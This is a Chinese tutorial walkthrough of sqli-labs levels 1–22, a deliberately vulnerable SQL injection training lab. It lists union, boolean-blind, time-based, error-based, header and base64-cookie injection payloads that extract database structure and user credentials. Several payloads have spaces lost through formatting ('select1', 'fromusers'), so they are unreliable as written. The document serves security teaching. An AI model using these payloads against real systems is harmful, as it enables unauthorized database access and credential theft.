sqli-labs的基础注入
less-1
首先,我们要判断注入类型(数字型注入还是字符型注入),我们都试试看。逐一尝试,发现这是一个字符型注入,由单引号引起。因为带有'
可以执行成功,进行查询
?id=1' and 1=2--+
查字段 数
发现字段数为4的时候报错,说明字段数为3
?id=1' order by 4--+
看回显位
已经知道字段数,看回显位,因为id=1
是真实存在的,所以我们要将id
改为不存在的数,才能看到回显位
?id=-1' union select1,2,3--+
爆库名
知道了回显位是 2、3,那我们在回显位爆出我们想要的数据,爆出库名为security
?id=-1' union select1,2,database()--+
爆表名
?id=-1' union select1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆字段
?id=-1' union select1,2,group_concat(column_name) from information_schema.columns where table_name="users"and table_schema=database()--+
爆用户名密码
?id=-1' union select1,2,group_concat(id,":",username,":",password) fromusers--+
less-2
先判断注入类型,当我们输入单引号或者双引号的时候,可以看到报错,但是报错信息没有数字,所以我们猜测是数字型注入。具体步骤与第一关一样。
爆字段数
?id=1 order by 3--+
看回显位
?id=-1 union select1,2,3--+
爆库名
?id=-1 union select1,2,database()--+
爆表名
?id=-1 union select1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆列名
?id=-1 union select1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
爆用户名密码
?id=-1 union select1,2,group_concat(id,":",username,":",password) fromusers--+
less-3
首先还是判断注入类型,输入单引号,显示报错信息,猜测引起报错的是')
果然,引起注入的是一个单引号和右括号,那接下来就和前面一样
?id=1') and 1=1--+
爆字段数
?id=1') order by 3--+
看回显位
?id=-1') union select1,2,3--+
爆库名
?id=-1') union select1,2,database()--+
爆表名
?id=-1') union select1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆列名
?id=-1') union select1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
爆用户名密码
?id=-1') union select1,2,group_concat(id,":",username,":",password) fromusers--+
less-4
首先还是判断注入类型,输入双引号,显示报错信息。根据报错信息,我们可以猜测引起报错的是")
输入语句,验证猜想,是字符型注入,注入点为")
?id=1') and 1=2--+
爆字段数
?id=1") order by 3--+
看回显位
?id=-1") union select1,2,3--+
爆库名
?id=-1") union select1,2,database()--+
爆表名
?id=-1") union select1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆列名
?id=-1") union select1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆用户名密码
?id=-1") union select1,2,group_concat(id,':',username,':',password) fromusers--+
less-5
第五关与前面不一样,id
值无论是什么,只要是存在,页面都是如下图显示
但是,本质都是一样的,我们先判断它的注入类型。先输入一个单引号,回显SQL语法错误提示,根据提示,我们可以发现是注入点是单引号。
爆字段数
第四列不存在,说明只存在三列
?id=1' order by 3--+
在这一关,我们如果使用前面的做法是不可能成功的。因为在less-5,数据不回显,只有对错页面显示,对此我们可以选择布尔盲注。布尔盲注通常使用到的函数是length()
,ascii()
,substr()
。
爆库名长度
?id=1' and length((selectdatabase()))=8--+
爆库名
得到库名长度为8,那接下来我们将库名的每一个字母爆出来。想要爆出每一个字母,我们就得用到ascii()
与substr()
两个函数。
ascii()
函数是将字母,数字或字符编写为ascii码
substr(a,b,c)
函数是截取字符串,a是需要截取的字符串,b是开始位置,c是截取长度
?id=1' and ascii(substr((selectdatabase()),1,1))=115--+
按照这个语句,截取每个字符,一个个判断,就能判断出库名为security
了。
爆所有表的长度
?id=1' and length((selectgroup_concat(table_name) from information_schema.tables where table_schema=database()))=29--+
逐一判断表名
?id=1' and ascii(substr((selectgroup_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+
知道长度,对每一个字符进行判断,可以得到表名分别为 emails
,referers
,uagents
, users
,ers
判断字段长度
?id=1' and length((selectgroup_concat(column_name) from information_schema.columns where table_name="users"))=20--+
逐一判断字段名
?id=1' and ascii(substr((selectgroup_concat(column_name) from information_schema.columns where table_name="users"),1,1))=105--+
爆用户数据
?id=1' and ascii(substr((selectgroup_concat(username,password) fromusers),1,1))=68--+
这样子,通过一个个字符判断能够将数据爆出
less-6
less-6与less-5是差不多的,根据页面的报错信息,我们可以判断注入点为双引号。后续步骤与less-5一样。
?id=1"--+
less-7
这一关比较特殊,页面只显示You are in...
和显示语法错误,但不显示具体的报错信息。
我们使用id=1"
时显示正常,而使用id=1'
是会显示报错,这说明单引号破坏了原本的语法结构。
我们使用id=1'--+
会报错,那我知道注入点有单引号后,再试试在单引号后加上括号,看看行不行。在逐一尝试后,使用id=1'))--+
回显成功,那后续步骤与前面的盲注一样,只需要改变注入点。
?id=1'))--+
less-8
这一关与less-5一样,注入点都是单引号。区别在于less-8没有具体的报错信息,而less-5有具体的语法报错信息。
?id=1'--+
less-9
我们发现在这一关无论输入什么都是只会回显一个You are in...
页面,不会出现前面关卡的语法报错信息什么的,这样子我们就无法使用布尔盲注了。
我们知道盲注大体分为两种,一个是布尔盲注,另外一个是时间盲注。既然这个页面没有什么变化,那我们就使用基于时间的盲注。基于时间的盲注主要比布尔盲注多了两个函数if函数
与sleep()函数
。
解释一下,if(a,sleep(5),1)
,a为条件;sleep(5)为a条件为真时执行的操作,页面延迟5秒;1为a条件为假时执行,即页面不延迟。
判断注入点
使用下面语句的时候,页面延迟5s,说明注入点为单引号
?id=1' and if(1=1,sleep(5),1)--+
判断数据库名长度
?id=1' and if(length((selectdatabase()))=8,sleep(5),1)--+
逐一判断数据库名
逐一判断出数据库为 security
?id=1' and if(ascii(substr((selectdatabase()),1,1))=115,sleep(5),1)--+
爆所有表长度
?id=1' and if(length((selectgroup_concat(table_name) from information_schema.tables where table_schema=database()))=29,sleep(5),1)--+
逐一判断表名
?id=1' and if(ascii(substr((selectgroup_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)--+
爆所有字段名的长度
?id=1' and if(length((selectgroup_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))=20,sleep(5),1)--+
逐一判断字段名
?id=1' and if(ascii(substr((selectgroup_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),1,1))=105,sleep(5),1)--+
爆用户账户密码
?id=1' and if(ascii(substr((selectgroup_concat(username,password) fromusers),1,1))=68,sleep(5),1)--+
less-10
这一关也是只回显一个页面,先判断注入点,然后后面的步骤与less-9一样。
这一关的注入点是双引号,方法是使用下面语句,不断修改判断,找出引起注入的注入点。
常见的字符型注入点为"
,'
,")
,"))
,')
,'))
?id=1" and if(1=1,sleep(5),1)--+
less-11
这一关是登陆框,与前面的关卡完全不一样。前面的关卡是get请求,参数体现在URL上。而less-11是一个登陆框,是post请求,参数都在表单中,我们只能在登陆框里面输入参数。
因为这是一个登陆框,结合前面的的认识,我们可以猜测SQL语句的形式大概是username=参数 and password=参数
,只是现在不知道是数字型还是字符型注入。
先在username输入1'
,password不输入。发现有报错信息,可以看到后面的password是单引号包裹参数,可以判断注入点为单引号。
知道注入点后,我们就想办法将SQL语句中后面的password注释掉,这里有一个点需要注意前面使用的注释--+
在这里是不起作用的,我们需要换一个注释符#
将后面语句注释掉。
判断字段数
该关卡只有两列
1' order by 3#
判断回显位
1' union select1,2#
爆数据库名和版本号
1' union selectdatabase(),version()#
爆表名
1' union select1,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆字段名
1' union select1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"#
爆用户数据
1' union select1,group_concat(username,password) fromusers#
less-12
老样子,先判断注入点,先输入1'
,没有报错信息。那接着输入1"
,出现报错信息,根据报错信息我们可以发现,注入点是")
。判断出注入点后,后面的步骤与less-11一样
1" ) union select1,2#
less-13
先判断注入点,输入1'
,出现报错信息,可以看到注入点是')
。但接着,我们遇到了一个新问题:没有回显位,但有报错信息。这样子,我们就能使用报错注入。报错函数有updatexml()函数
和extractvalue()函数
爆库名
1') and updatexml(1,concat(0x7e,(selectdatabase()),0x7e),1)#
爆表名
1') and updatexml(1,concat(0x7e,(selectgroup_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
爆列名
1') and updatexml(1,concat(0x7e,(selectgroup_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1)#
爆数据
1') and updatexml(1,concat(0x7e, (selectgroup_concat(username,password) fromuserslimit0,1),0x7e),1)#
less-14
判断注入点权威,输入双引号,发现报错信息。根据报错信息可以知道注入点为双引号。
该关卡与less-13一样,没有回显位,那还是使用报错注入,步骤与less-13一样,只需要改变注入点。
less-15
这一关只有两个页面,一个是登录成功,一个是登录失败,而且没有报错信息回显,那这样子就只能使用盲注了。接下来我使用的是基于时间的盲注
判断数据库名长度
使用or连接两个语句的原因是用户名未知,如果使用and的话,这个组合条件恒为假,无法成功盲注
' or if(length((selectdatabase()))=8,sleep(5),1)--+
逐一判断数据库名
逐一判断出数据库为 security
' or if(ascii(substr((selectdatabase()),1,1))=115,sleep(5),1)#
爆所有表长度
' or if(length((selectgroup_concat(table_name) from information_schema.tables where table_schema=database()))=29,sleep(5),1)#
逐一判断表名
' or if(ascii(substr((selectgroup_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)#
爆所有字段名的长度
' or if(length((selectgroup_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))=20,sleep(5),1)#
逐一判断字段名
' or if(ascii(substr((selectgroup_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),1,1))=105,sleep(5),1)#
爆用户账户密码
' or if(ascii(substr((selectgroup_concat(username,password) fromusers),1,1))=68,sleep(5),1)#
less-16
判断注入点,输入下面语句,能绕过密码成功登录,说明")
能够引起闭合,是一个注入点。成功判断出注入点,后面的步骤与less-15一样,使用基于时间的盲注
") or 1=1#
less-17
这一关的页面提示我们是一个密码重置的页面。先常规操作,进行注入点判断。
在username
输入判断注入点的语句,发现警告,说明用户名必须真实存在的,这也是一个限制。
username输入admin,password输入判断注入点的语句,说明admin用户真实存在,然后就没有其他有效信息了。
password输入' order by 3#
,有回显,说明注入点为单引号
尝试报错注入
爆数据库名
1' and updatexml(1,concat(0x7e,(selectdatabase()),0x7e),1)#
爆表名
1' and updatexml(1,concat(0x7e,(selectgroup_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
爆列名
1' and updatexml(1,concat(0x7e,(selectgroup_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1)#
爆用户数据
1' and updatexml(1,concat(0x7e, (selectidfrom emails limit0,1),0x7e),1)#
less-18
这一关和之前的题目有不同,我们一进去就能看到IP地址,这意味着记录了你浏览器的信息和ip地址,极有可能是头注入。
这一关是头部Post注入,基于错误的Uagent field。所以我们要使用burpsuite抓包进行手工注入。
首先,先在User-Agent,输入1'
,回显报错信息。
可以看到输入的1'
与前面的语句形成闭合,而后面还有两个值未被闭合进去。那我们可以猜测这一条SQL语句是存在三个值:user-agent、ip地址、username。
知道注入点为单引号,语句存在3个值,开始构造有效payload。
爆数据库名
第一个语句中后面的两个 1
是为了保证值有3个,不会发生语法报错。
第二个语句后面的or '
是为了与sql语句中后面的单引号形成闭合,保证后面的值闭合成功
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1)#' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
爆表名
1' and updatexml(1,concat(0x7e,(selectgroup_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),1,1)#
爆列名
1' and updatexml(1,concat(0x7e,(selectgroup_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1),1,1)#
爆用户数据
1' and updatexml(1,concat(0x7e, (selectgroup_concat(username,password) fromuserslimit0,1),0x7e),1),1,1)
less-19
这一关也是头注入,是基于错误的Referer注入。
老方法,先判断注入点。抓包,在referer处输入1'
,出现报错信息,根据报错信息,可以发现,注入点就是单引号,然后原sql语句中存在两个值,为了前后值对应,我们需要构造正确的payload。
爆库名
' and updatexml(1,concat(0x7e,(selectdatabase()),0x7e),1),1)#
爆表名
1' and updatexml(1,concat(0x7e,(selectgroup_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),1)#
爆列名
1' and updatexml(1,concat(0x7e,(selectgroup_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1),1)#
爆用户数据
1' and updatexml(1,concat(0x7e, (selectgroup_concat(username,password) fromuserslimit0,1),0x7e),1),1)#
less-20
burp抓包,cookie=admin可以确定这是一个cookie注入。
将cookie改为 admin
,显示报错信息,基本确定注入点为单引号。
爆库名
前面都是使用updatexml()
函数,这里尝试一下extractvalue()函数
admin' and extractvalue(1,concat(0x7e,(selectdatabase()),0x7e))#
爆表名
admin' and extractvalue(1,concat(0x7e,(selectgroup_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
爆字段名
admin' and extractvalue(1,concat(0x7e,(selectgroup_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e))#
爆用户数据
admin' and extractvalue(1,concat(0x7e,(selectgroup_concat(username,password) fromusers),0x7e))#
less-21
先抓包,发现cookie的值为YWRtaW4%3D
,这是admin在base64编码后的形式。也就是说我们后面的payload也要进行base64编码。
接着,我们判断注入点。将admin'
进行base64编码,然后替代原来的编码值。发包有报错信息回显,发现该关卡的注入点是')
。
后面就是先构造payload,然后进行base64编码了
爆数据库
admin') and extractvalue(1,concat(0x7e,(selectdatabase()),0x7e))#
base64编码
YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkj
爆表名
admin') and extractvalue(1,concat(0x7e,(selectgroup_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
base64编码
YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwweDdlKSkj
爆字段名
admin') and extractvalue(1,concat(0x7e,(selectgroup_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e))#
base64
YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9InVzZXJzIiksMHg3ZSkpIw==
爆用户数据
admin') and extractvalue(1,concat(0x7e,(selectgroup_concat(username,password) fromusers),0x7e))#
base64
YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpIGZyb20gdXNlcnMpLDB4N2UpKSM=
less-22
这一关与less-21相似,区别在于注入点不一样。
老规矩,先抓包,然后将测试注入点。输入admin"
发现报错信息,根据报错信息可以知道当注入点为双引号。后面的操作与上一关一样,先构造payload然后进行base64编码。
原文始发于微信公众号(泷羽Sec-Z1eaf):保姆级教学之sqli-labs(less1-22)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论